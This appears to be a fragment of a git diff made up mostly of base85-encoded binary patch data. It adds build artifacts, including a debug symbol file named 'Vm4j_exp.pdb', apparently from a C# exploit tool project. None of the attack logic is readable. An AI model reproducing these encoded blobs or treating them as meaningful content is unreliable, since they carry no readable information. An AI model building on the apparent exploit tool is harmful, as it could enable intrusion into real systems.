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 + + + + + diff --git a/Csharp/WindowsFormsApp1/bin/Debug/Vm4j_exp.pdb b/Csharp/WindowsFormsApp1/bin/Debug/Vm4j_exp.pdb new file mode 100644 index 0000000000000000000000000000000000000000..22f68a491fe856b10738366c3f8ea6fdc28b1016 GIT binary patch literal 85504 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 